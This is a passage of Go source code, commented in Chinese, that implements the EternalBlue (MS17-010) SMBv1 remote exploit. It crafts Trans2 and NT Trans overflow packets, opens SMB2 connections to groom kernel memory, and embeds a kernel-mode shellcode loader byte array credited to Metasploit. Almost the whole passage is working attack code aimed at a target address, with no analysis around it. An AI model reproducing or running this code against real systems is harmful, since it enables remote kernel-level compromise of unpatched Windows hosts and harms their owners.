buf.Write([]byte{0x00, 0x00, 0x00, 0x00})
// 标志位
buf.WriteByte(0x18)
// 标志位2
buf.Write([]byte{0x07, 0xC0})
// 进程ID高位
buf.Write([]byte{0x00, 0x00})
// 签名1
buf.Write([]byte{0x00, 0x00, 0x00, 0x00})
// 签名2
buf.Write([]byte{0x00, 0x00, 0x00, 0x00})
// 保留字段
buf.Write([]byte{0x00, 0x00})
// 树ID
treeIDBuf := make([]byte, 2)
binary.LittleEndian.PutUint16(treeIDBuf, treeID)
buf.Write(treeIDBuf)
// 进程ID
buf.Write([]byte{0xFF, 0xFE})
// 用户ID
userIDBuf := make([]byte, 2)
binary.LittleEndian.PutUint16(userIDBuf, userID)
buf.Write(userIDBuf)
// 多路复用ID
buf.Write([]byte{0x40, 0x00})
return nil
}
// writeNTTransRequest 写入NT Trans请求
func writeNTTransRequest(buf *bytes.Buffer) error {
// 字段数
buf.WriteByte(0x14)
// 最大设置数
buf.WriteByte(0x01)
// 保留字段
buf.Write([]byte{0x00, 0x00})
// 总参数数
buf.Write([]byte{0x1E, 0x00, 0x00, 0x00})
// 总数据数
buf.Write([]byte{0xd0, 0x03, 0x01, 0x00})
// 最大参数数
buf.Write([]byte{0x1E, 0x00, 0x00, 0x00})
// 最大数据数
buf.Write([]byte{0x00, 0x00, 0x00, 0x00})
// 参数数
buf.Write([]byte{0x1E, 0x00, 0x00, 0x00})
// 参数偏移
buf.Write([]byte{0x4B, 0x00, 0x00, 0x00})
// 数据数
buf.Write([]byte{0xd0, 0x03, 0x00, 0x00})
// 数据偏移
buf.Write([]byte{0x68, 0x00, 0x00, 0x00})
// 设置数
buf.WriteByte(0x01)
// 未知功能
buf.Write([]byte{0x00, 0x00})
// 未知NT事务设置
buf.Write([]byte{0x00, 0x00})
// 字节数
buf.Write([]byte{0xEC, 0x03})
// NT参数
buf.Write(makeZero(0x1F))
// 未文档化字段
buf.WriteByte(0x01)
buf.Write(makeZero(0x03CD))
return nil
}
// makeSMB1Trans2ExploitPacket 创建SMB1 Trans2利用数据包
func makeSMB1Trans2ExploitPacket(treeID, userID uint16, timeout int, typ string) []byte {
// 计算超时值
timeout = timeout*0x10 + 3
buf := bytes.Buffer{}
// 构造NetBIOS会话服务头
writeNetBIOSTrans2Header(&buf)
// 构造SMB协议头
writeSMBTrans2Header(&buf, treeID, userID)
// 构造Trans2请求
writeTrans2RequestHeader(&buf, timeout)
// 根据类型添加特定数据
writeTrans2PayloadByType(&buf, typ)
return buf.Bytes()
}
// writeNetBIOSTrans2Header 写入NetBIOS会话服务头
func writeNetBIOSTrans2Header(buf *bytes.Buffer) {
// 消息类型
buf.WriteByte(0x00)
// 长度
buf.Write([]byte{0x00, 0x10, 0x35})
}
// writeSMBTrans2Header 写入SMB协议头
func writeSMBTrans2Header(buf *bytes.Buffer, treeID, userID uint16) {
// SMB标识
buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42})
// Trans2请求
buf.WriteByte(0x33)
// NT状态码
buf.Write([]byte{0x00, 0x00, 0x00, 0x00})
// 标志位
buf.WriteByte(0x18)
// 标志位2
buf.Write([]byte{0x07, 0xC0})
// 进程ID高位
buf.Write([]byte{0x00, 0x00})
// 签名1和2
buf.Write([]byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00})
// 保留字段
buf.Write([]byte{0x00, 0x00})
// 树ID
treeIDBuf := make([]byte, 2)
binary.LittleEndian.PutUint16(treeIDBuf, treeID)
buf.Write(treeIDBuf)
// 进程ID
buf.Write([]byte{0xFF, 0xFE})
// 用户ID
userIDBuf := make([]byte, 2)
binary.LittleEndian.PutUint16(userIDBuf, userID)
buf.Write(userIDBuf)
// 多路复用ID
buf.Write([]byte{0x40, 0x00})
}
// writeTrans2RequestHeader 写入Trans2请求头
func writeTrans2RequestHeader(buf *bytes.Buffer, timeout int) {
// 字段数
buf.WriteByte(0x09)
// 总参数数
buf.Write([]byte{0x00, 0x00})
// 总数据数
buf.Write([]byte{0x00, 0x10})
// 最大参数数
buf.Write([]byte{0x00, 0x00})
// 最大数据数
buf.Write([]byte{0x00, 0x00})
// 最大设置数
buf.WriteByte(0x00)
// 保留字段
buf.WriteByte(0x00)
// 标志位
buf.Write([]byte{0x00, 0x10})
// 超时设置
buf.Write([]byte{0x35, 0x00, 0xD0})
buf.WriteByte(byte(timeout))
// 保留字段
buf.Write([]byte{0x00, 0x00})
// 参数数
buf.Write([]byte{0x00, 0x10})
}
// writeTrans2PayloadByType 根据类型写入负载数据
func writeTrans2PayloadByType(buf *bytes.Buffer, typ string) {
switch typ {
case "exploit":
writeExploitPayload(buf)
case "zero":
writeZeroPayload(buf)
default:
// 默认填充
buf.Write(bytes.Repeat([]byte{0x41}, 4096))
}
}
// writeExploitPayload 写入exploit类型负载
func writeExploitPayload(buf *bytes.Buffer) {
// 溢出数据
buf.Write(bytes.Repeat([]byte{0x41}, 2957))
buf.Write([]byte{0x80, 0x00, 0xA8, 0x00})
// 固定格式数据
buf.Write(makeZero(0x10))
buf.Write([]byte{0xFF, 0xFF})
buf.Write(makeZero(0x06))
buf.Write([]byte{0xFF, 0xFF})
buf.Write(makeZero(0x16))
// x86地址
buf.Write([]byte{0x00, 0xF1, 0xDF, 0xFF})
buf.Write(makeZero(0x08))
buf.Write([]byte{0x20, 0xF0, 0xDF, 0xFF})
// x64地址
buf.Write([]byte{0x00, 0xF1, 0xDF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF})
// 后续数据
writeExploitTrailingData(buf)
}
// writeExploitTrailingData 写入exploit类型的尾部数据
func writeExploitTrailingData(buf *bytes.Buffer) {
buf.Write([]byte{0x60, 0x00, 0x04, 0x10})
buf.Write(makeZero(0x04))
buf.Write([]byte{0x80, 0xEF, 0xDF, 0xFF})
buf.Write(makeZero(0x04))
buf.Write([]byte{0x10, 0x00, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF})
buf.Write([]byte{0x18, 0x01, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF})
buf.Write(makeZero(0x10))
buf.Write([]byte{0x60, 0x00, 0x04, 0x10})
buf.Write(makeZero(0x0C))
buf.Write([]byte{0x90, 0xFF, 0xCF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF})
buf.Write(makeZero(0x08))
buf.Write([]byte{0x80, 0x10})
buf.Write(makeZero(0x0E))
buf.Write([]byte{0x39, 0xBB})
buf.Write(bytes.Repeat([]byte{0x41}, 965))
}
// writeZeroPayload 写入zero类型负载
func writeZeroPayload(buf *bytes.Buffer) {
buf.Write(makeZero(2055))
buf.Write([]byte{0x83, 0xF3})
buf.Write(bytes.Repeat([]byte{0x41}, 2039))
}
// makeSMB1EchoPacket 创建SMB1 Echo数据包
func makeSMB1EchoPacket(treeID, userID uint16) []byte {
buf := bytes.Buffer{}
// 构造NetBIOS会话服务头
writeNetBIOSEchoHeader(&buf)
// 构造SMB协议头
writeSMBEchoHeader(&buf, treeID, userID)
// 构造Echo请求
writeEchoRequest(&buf)
return buf.Bytes()
}
// writeNetBIOSEchoHeader 写入NetBIOS会话服务头
func writeNetBIOSEchoHeader(buf *bytes.Buffer) {
// 消息类型
buf.WriteByte(0x00)
// 长度
buf.Write([]byte{0x00, 0x00, 0x31})
}
// writeSMBEchoHeader 写入SMB协议头
func writeSMBEchoHeader(buf *bytes.Buffer, treeID, userID uint16) {
// SMB标识
buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42})
// Echo命令
buf.WriteByte(0x2B)
// NT状态码
buf.Write([]byte{0x00, 0x00, 0x00, 0x00})
// 标志位
buf.WriteByte(0x18)
// 标志位2
buf.Write([]byte{0x07, 0xC0})
// 进程ID高位
buf.Write([]byte{0x00, 0x00})
// 签名1和2
buf.Write([]byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00})
// 保留字段
buf.Write([]byte{0x00, 0x00})
// 树ID
treeIDBuf := make([]byte, 2)
binary.LittleEndian.PutUint16(treeIDBuf, treeID)
buf.Write(treeIDBuf)
// 进程ID
buf.Write([]byte{0xFF, 0xFE})
// 用户ID
userIDBuf := make([]byte, 2)
binary.LittleEndian.PutUint16(userIDBuf, userID)
buf.Write(userIDBuf)
// 多路复用ID
buf.Write([]byte{0x40, 0x00})
}
// writeEchoRequest 写入Echo请求
func writeEchoRequest(buf *bytes.Buffer) {
// 字段数
buf.WriteByte(0x01)
// Echo计数
buf.Write([]byte{0x01, 0x00})
// 字节数
buf.Write([]byte{0x0C, 0x00})
// Echo数据(IDS签名,可置空)
buf.Write([]byte{0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x00})
}
// smb1FreeHole 创建SMB1内存释放漏洞连接
func smb1FreeHole(address string, start bool) (net.Conn, error) {
// 建立TCP连接
conn, err := net.DialTimeout("tcp", address, 10*time.Second)
if err != nil {
return nil, fmt.Errorf("[-] 连接目标失败: %v", err)
}
// 连接状态标记
var ok bool
defer func() {
if !ok {
_ = conn.Close()
}
}()
// SMB协议协商
if err = smbClientNegotiate(conn); err != nil {
return nil, fmt.Errorf("[-] SMB协议协商失败: %v", err)
}
// 根据开始/结束标志设置不同参数
var flags2, vcNum, nativeOS []byte
if start {
flags2 = []byte{0x07, 0xC0}
vcNum = []byte{0x2D, 0x01}
nativeOS = []byte{0xF0, 0xFF, 0x00, 0x00, 0x00}
} else {
flags2 = []byte{0x07, 0x40}
vcNum = []byte{0x2C, 0x01}
nativeOS = []byte{0xF8, 0x87, 0x00, 0x00, 0x00}
}
// 构造并发送会话数据包
packet := makeSMB1FreeHoleSessionPacket(flags2, vcNum, nativeOS)
if _, err = conn.Write(packet); err != nil {
return nil, fmt.Errorf("[-] 发送内存释放会话数据包失败: %v", err)
}
// 获取响应
if _, _, err = smb1GetResponse(conn); err != nil {
return nil, fmt.Errorf("[-] 获取会话响应失败: %v", err)
}
ok = true
return conn, nil
}
// makeSMB1FreeHoleSessionPacket 创建SMB1内存释放会话数据包
func makeSMB1FreeHoleSessionPacket(flags2, vcNum, nativeOS []byte) []byte {
buf := bytes.Buffer{}
// 构造NetBIOS会话服务头
writeNetBIOSFreeHoleHeader(&buf)
// 构造SMB协议头
writeSMBFreeHoleHeader(&buf, flags2)
// 构造会话设置请求
writeSessionSetupFreeHoleRequest(&buf, vcNum, nativeOS)
return buf.Bytes()
}
// writeNetBIOSFreeHoleHeader 写入NetBIOS会话服务头
func writeNetBIOSFreeHoleHeader(buf *bytes.Buffer) {
// 消息类型
buf.WriteByte(0x00)
// 长度
buf.Write([]byte{0x00, 0x00, 0x51})
}
// writeSMBFreeHoleHeader 写入SMB协议头
func writeSMBFreeHoleHeader(buf *bytes.Buffer, flags2 []byte) {
// SMB标识
buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42})
// Session Setup AndX命令
buf.WriteByte(0x73)
// NT状态码
buf.Write([]byte{0x00, 0x00, 0x00, 0x00})
// 标志位
buf.WriteByte(0x18)
// 标志位2
buf.Write(flags2)
// 进程ID高位
buf.Write([]byte{0x00, 0x00})
// 签名1和2
buf.Write([]byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00})
// 保留字段
buf.Write([]byte{0x00, 0x00})
// 树ID
buf.Write([]byte{0x00, 0x00})
// 进程ID
buf.Write([]byte{0xFF, 0xFE})
// 用户ID
buf.Write([]byte{0x00, 0x00})
// 多路复用ID
buf.Write([]byte{0x40, 0x00})
}
// writeSessionSetupFreeHoleRequest 写入会话设置请求
func writeSessionSetupFreeHoleRequest(buf *bytes.Buffer, vcNum, nativeOS []byte) {
// 字段数
buf.WriteByte(0x0C)
// 无后续命令
buf.WriteByte(0xFF)
// 保留字段
buf.WriteByte(0x00)
// AndX偏移
buf.Write([]byte{0x00, 0x00})
// 最大缓冲区
buf.Write([]byte{0x04, 0x11})
// 最大并发数
buf.Write([]byte{0x0A, 0x00})
// VC编号
buf.Write(vcNum)
// 会话密钥
buf.Write([]byte{0x00, 0x00, 0x00, 0x00})
// 安全数据长度
buf.Write([]byte{0x00, 0x00})
// 保留字段
buf.Write([]byte{0x00, 0x00, 0x00, 0x00})
// 功能标志
buf.Write([]byte{0x00, 0x00, 0x00, 0x80})
// 字节数
buf.Write([]byte{0x16, 0x00})
// 原生操作系统
buf.Write(nativeOS)
// 额外参数
buf.Write(makeZero(17))
}
// smb2Grooms 创建多个SMB2连接
func smb2Grooms(address string, grooms int) ([]net.Conn, error) {
// 创建SMB2头
header := makeSMB2Header()
var (
conns []net.Conn
ok bool
)
// 失败时关闭所有连接
defer func() {
if ok {
return
}
for _, conn := range conns {
_ = conn.Close()
}
}()
// 建立多个连接
for i := 0; i < grooms; i++ {
// 创建TCP连接
conn, err := net.DialTimeout("tcp", address, 10*time.Second)
if err != nil {
return nil, fmt.Errorf("[-] 连接目标失败: %v", err)
}
// 发送SMB2头
if _, err = conn.Write(header); err != nil {
return nil, fmt.Errorf("[-] 发送SMB2头失败: %v", err)
}
conns = append(conns, conn)
}
ok = true
return conns, nil
}
const (
packetMaxLen = 4204 // 数据包最大长度
packetSetupLen = 497 // 数据包设置部分长度
)
// makeSMB2Header 创建SMB2协议头
func makeSMB2Header() []byte {
buf := bytes.Buffer{}
// SMB2协议标识
buf.Write([]byte{0x00, 0x00, 0xFF, 0xF7, 0xFE})
buf.WriteString("SMB")
// 填充剩余字节
buf.Write(makeZero(124))
return buf.Bytes()
}
// makeSMB2Body 创建SMB2协议体
func makeSMB2Body(payload []byte) []byte {
const packetMaxPayload = packetMaxLen - packetSetupLen // 计算最大负载长度
buf := bytes.Buffer{}
// 写入填充数据
writePaddingData(&buf)
// 写入KI_USER_SHARED_DATA地址
writeSharedDataAddresses(&buf)
// 写入负载地址和相关数据
writePayloadAddresses(&buf)
// 写入负载数据
buf.Write(payload)
// 填充剩余空间(可随机生成)
buf.Write(makeZero(packetMaxPayload - len(payload)))
return buf.Bytes()
}
// writePaddingData 写入填充数据
func writePaddingData(buf *bytes.Buffer) {
buf.Write(makeZero(0x08))
buf.Write([]byte{0x03, 0x00, 0x00, 0x00})
buf.Write(makeZero(0x1C))
buf.Write([]byte{0x03, 0x00, 0x00, 0x00})
buf.Write(makeZero(0x74))
}
// writeSharedDataAddresses 写入共享数据地址
func writeSharedDataAddresses(buf *bytes.Buffer) {
// x64地址
x64Address := []byte{0xb0, 0x00, 0xd0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}
buf.Write(bytes.Repeat(x64Address, 2))
buf.Write(makeZero(0x10))
// x86地址
x86Address := []byte{0xC0, 0xF0, 0xDF, 0xFF}
buf.Write(bytes.Repeat(x86Address, 2))
buf.Write(makeZero(0xC4))
}
// writePayloadAddresses 写入负载地址和相关数据
func writePayloadAddresses(buf *bytes.Buffer) {
// 负载地址
buf.Write([]byte{0x90, 0xF1, 0xDF, 0xFF})
buf.Write(makeZero(0x04))
buf.Write([]byte{0xF0, 0xF1, 0xDF, 0xFF})
buf.Write(makeZero(0x40))
// 附加数据
buf.Write([]byte{0xF0, 0x01, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF})
buf.Write(makeZero(0x08))
buf.Write([]byte{0x00, 0x02, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF})
buf.WriteByte(0x00)
}
// makeZero 创建指定大小的零值字节切片
func makeZero(size int) []byte {
return bytes.Repeat([]byte{0}, size)
}
// loader 用于在内核模式下运行用户模式shellcode的加载器
// 参考自Metasploit-Framework:
// 文件: msf/external/source/sc/windows/multi_arch_kernel_queue_apc.asm
// 二进制: modules/exploits/windows/smb/ms17_010_eternalblue.rb: def make_kernel_sc
var loader = [...]byte{
0x31, 0xC9, 0x41, 0xE2, 0x01, 0xC3, 0xB9, 0x82, 0x00, 0x00, 0xC0, 0x0F, 0x32, 0x48, 0xBB, 0xF8,
0x0F, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x89, 0x53, 0x04, 0x89, 0x03, 0x48, 0x8D, 0x05, 0x0A,
0x00, 0x00, 0x00, 0x48, 0x89, 0xC2, 0x48, 0xC1, 0xEA, 0x20, 0x0F, 0x30, 0xC3, 0x0F, 0x01, 0xF8,
0x65, 0x48, 0x89, 0x24, 0x25, 0x10, 0x00, 0x00, 0x00, 0x65, 0x48, 0x8B, 0x24, 0x25, 0xA8, 0x01,
0x00, 0x00, 0x50, 0x53, 0x51, 0x52, 0x56, 0x57, 0x55, 0x41, 0x50, 0x41, 0x51, 0x41, 0x52, 0x41,
0x53, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x6A, 0x2B, 0x65, 0xFF, 0x34, 0x25, 0x10,
0x00, 0x00, 0x00, 0x41, 0x53, 0x6A, 0x33, 0x51, 0x4C, 0x89, 0xD1, 0x48, 0x83, 0xEC, 0x08, 0x55,
0x48, 0x81, 0xEC, 0x58, 0x01, 0x00, 0x00, 0x48, 0x8D, 0xAC, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48,
0x89, 0x9D, 0xC0, 0x00, 0x00, 0x00, 0x48, 0x89, 0xBD, 0xC8, 0x00, 0x00, 0x00, 0x48, 0x89, 0xB5,
0xD0, 0x00, 0x00, 0x00, 0x48, 0xA1, 0xF8, 0x0F, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x48, 0x89,
0xC2, 0x48, 0xC1, 0xEA, 0x20, 0x48, 0x31, 0xDB, 0xFF, 0xCB, 0x48, 0x21, 0xD8, 0xB9, 0x82, 0x00,
0x00, 0xC0, 0x0F, 0x30, 0xFB, 0xE8, 0x38, 0x00, 0x00, 0x00, 0xFA, 0x65, 0x48, 0x8B, 0x24, 0x25,
0xA8, 0x01, 0x00, 0x00, 0x48, 0x83, 0xEC, 0x78, 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C,
0x41, 0x5B, 0x41, 0x5A, 0x41, 0x59, 0x41, 0x58, 0x5D, 0x5F, 0x5E, 0x5A, 0x59, 0x5B, 0x58, 0x65,
0x48, 0x8B, 0x24, 0x25, 0x10, 0x00, 0x00, 0x00, 0x0F, 0x01, 0xF8, 0xFF, 0x24, 0x25, 0xF8, 0x0F,
0xD0, 0xFF, 0x56, 0x41, 0x57, 0x41, 0x56, 0x41, 0x55, 0x41, 0x54, 0x53, 0x55, 0x48, 0x89, 0xE5,
0x66, 0x83, 0xE4, 0xF0, 0x48, 0x83, 0xEC, 0x20, 0x4C, 0x8D, 0x35, 0xE3, 0xFF, 0xFF, 0xFF, 0x65,
0x4C, 0x8B, 0x3C, 0x25, 0x38, 0x00, 0x00, 0x00, 0x4D, 0x8B, 0x7F, 0x04, 0x49, 0xC1, 0xEF, 0x0C,
0x49, 0xC1, 0xE7, 0x0C, 0x49, 0x81, 0xEF, 0x00, 0x10, 0x00, 0x00, 0x49, 0x8B, 0x37, 0x66, 0x81,
0xFE, 0x4D, 0x5A, 0x75, 0xEF, 0x41, 0xBB, 0x5C, 0x72, 0x11, 0x62, 0xE8, 0x18, 0x02, 0x00, 0x00,
0x48, 0x89, 0xC6, 0x48, 0x81, 0xC6, 0x08, 0x03, 0x00, 0x00, 0x41, 0xBB, 0x7A, 0xBA, 0xA3, 0x30,
0xE8, 0x03, 0x02, 0x00, 0x00, 0x48, 0x89, 0xF1, 0x48, 0x39, 0xF0, 0x77, 0x11, 0x48, 0x8D, 0x90,
0x00, 0x05, 0x00, 0x00, 0x48, 0x39, 0xF2, 0x72, 0x05, 0x48, 0x29, 0xC6, 0xEB, 0x08, 0x48, 0x8B,
0x36, 0x48, 0x39, 0xCE, 0x75, 0xE2, 0x49, 0x89, 0xF4, 0x31, 0xDB, 0x89, 0xD9, 0x83, 0xC1, 0x04,
0x81, 0xF9, 0x00, 0x00, 0x01, 0x00, 0x0F, 0x8D, 0x66, 0x01, 0x00, 0x00, 0x4C, 0x89, 0xF2, 0x89,
0xCB, 0x41, 0xBB, 0x66, 0x55, 0xA2, 0x4B, 0xE8, 0xBC, 0x01, 0x00, 0x00, 0x85, 0xC0, 0x75, 0xDB,
0x49, 0x8B, 0x0E, 0x41, 0xBB, 0xA3, 0x6F, 0x72, 0x2D, 0xE8, 0xAA, 0x01, 0x00, 0x00, 0x48, 0x89,
0xC6, 0xE8, 0x50, 0x01, 0x00, 0x00, 0x41, 0x81, 0xF9, 0xBF, 0x77, 0x1F, 0xDD, 0x75, 0xBC, 0x49,
0x8B, 0x1E, 0x4D, 0x8D, 0x6E, 0x10, 0x4C, 0x89, 0xEA, 0x48, 0x89, 0xD9, 0x41, 0xBB, 0xE5, 0x24,
0x11, 0xDC, 0xE8, 0x81, 0x01, 0x00, 0x00, 0x6A, 0x40, 0x68, 0x00, 0x10, 0x00, 0x00, 0x4D, 0x8D,
0x4E, 0x08, 0x49, 0xC7, 0x01, 0x00, 0x10, 0x00, 0x00, 0x4D, 0x31, 0xC0, 0x4C, 0x89, 0xF2, 0x31,
0xC9, 0x48, 0x89, 0x0A, 0x48, 0xF7, 0xD1, 0x41, 0xBB, 0x4B, 0xCA, 0x0A, 0xEE, 0x48, 0x83, 0xEC,
0x20, 0xE8, 0x52, 0x01, 0x00, 0x00, 0x85, 0xC0, 0x0F, 0x85, 0xC8, 0x00, 0x00, 0x00, 0x49, 0x8B,
0x3E, 0x48, 0x8D, 0x35, 0xE9, 0x00, 0x00, 0x00, 0x31, 0xC9, 0x66, 0x03, 0x0D, 0xD7, 0x01, 0x00,
0x00, 0x66, 0x81, 0xC1, 0xF9, 0x00, 0xF3, 0xA4, 0x48, 0x89, 0xDE, 0x48, 0x81, 0xC6, 0x08, 0x03,
0x00, 0x00, 0x48, 0x89, 0xF1, 0x48, 0x8B, 0x11, 0x4C, 0x29, 0xE2, 0x51, 0x52, 0x48, 0x89, 0xD1,
0x48, 0x83, 0xEC, 0x20, 0x41, 0xBB, 0x26, 0x40, 0x36, 0x9D, 0xE8, 0x09, 0x01, 0x00, 0x00, 0x48,
0x83, 0xC4, 0x20, 0x5A, 0x59, 0x48, 0x85, 0xC0, 0x74, 0x18, 0x48, 0x8B, 0x80, 0xC8, 0x02, 0x00,
0x00, 0x48, 0x85, 0xC0, 0x74, 0x0C, 0x48, 0x83, 0xC2, 0x4C, 0x8B, 0x02, 0x0F, 0xBA, 0xE0, 0x05,
0x72, 0x05, 0x48, 0x8B, 0x09, 0xEB, 0xBE, 0x48, 0x83, 0xEA, 0x4C, 0x49, 0x89, 0xD4, 0x31, 0xD2,
0x80, 0xC2, 0x90, 0x31, 0xC9, 0x41, 0xBB, 0x26, 0xAC, 0x50, 0x91, 0xE8, 0xC8, 0x00, 0x00, 0x00,
0x48, 0x89, 0xC1, 0x4C, 0x8D, 0x89, 0x80, 0x00, 0x00, 0x00, 0x41, 0xC6, 0x01, 0xC3, 0x4C, 0x89,
0xE2, 0x49, 0x89, 0xC4, 0x4D, 0x31, 0xC0, 0x41, 0x50, 0x6A, 0x01, 0x49, 0x8B, 0x06, 0x50, 0x41,
0x50, 0x48, 0x83, 0xEC, 0x20, 0x41, 0xBB, 0xAC, 0xCE, 0x55, 0x4B, 0xE8, 0x98, 0x00, 0x00, 0x00,
0x31, 0xD2, 0x52, 0x52, 0x41, 0x58, 0x41, 0x59, 0x4C, 0x89, 0xE1, 0x41, 0xBB, 0x18, 0x38, 0x09,
0x9E, 0xE8, 0x82, 0x00, 0x00, 0x00, 0x4C, 0x89, 0xE9, 0x41, 0xBB, 0x22, 0xB7, 0xB3, 0x7D, 0xE8,
0x74, 0x00, 0x00, 0x00, 0x48, 0x89, 0xD9, 0x41, 0xBB, 0x0D, 0xE2, 0x4D, 0x85, 0xE8, 0x66, 0x00,
0x00, 0x00, 0x48, 0x89, 0xEC, 0x5D, 0x5B, 0x41, 0x5C, 0x41, 0x5D, 0x41, 0x5E, 0x41, 0x5F, 0x5E,
0xC3, 0xE9, 0xB5, 0x00, 0x00, 0x00, 0x4D, 0x31, 0xC9, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D,
0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xEC, 0xC3, 0x31, 0xD2,
0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x12,
0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x45, 0x31, 0xC9, 0x31, 0xC0, 0xAC, 0x3C,
0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xEE, 0x45, 0x39,
0xD9, 0x75, 0xDA, 0x4C, 0x8B, 0x7A, 0x20, 0xC3, 0x4C, 0x89, 0xF8, 0x41, 0x51, 0x41, 0x50, 0x52,
0x51, 0x56, 0x48, 0x89, 0xC2, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00,
0x00, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44, 0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0x48,
0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0xE8, 0x78, 0xFF, 0xFF, 0xFF, 0x45, 0x39,
0xD9, 0x75, 0xEC, 0x58, 0x44, 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48,
0x44, 0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x5E, 0x59,
0x5A, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5B, 0x41, 0x53, 0xFF, 0xE0, 0x56, 0x41, 0x57, 0x55, 0x48,
0x89, 0xE5, 0x48, 0x83, 0xEC, 0x20, 0x41, 0xBB, 0xDA, 0x16, 0xAF, 0x92, 0xE8, 0x4D, 0xFF, 0xFF,
0xFF, 0x31, 0xC9, 0x51, 0x51, 0x51, 0x51, 0x41, 0x59, 0x4C, 0x8D, 0x05, 0x1A, 0x00, 0x00, 0x00,
0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0xBB, 0x46, 0x45, 0x1B, 0x22, 0xE8, 0x68, 0xFF, 0xFF, 0xFF,
0x48, 0x89, 0xEC, 0x5D, 0x41, 0x5F, 0x5E, 0xC3,
}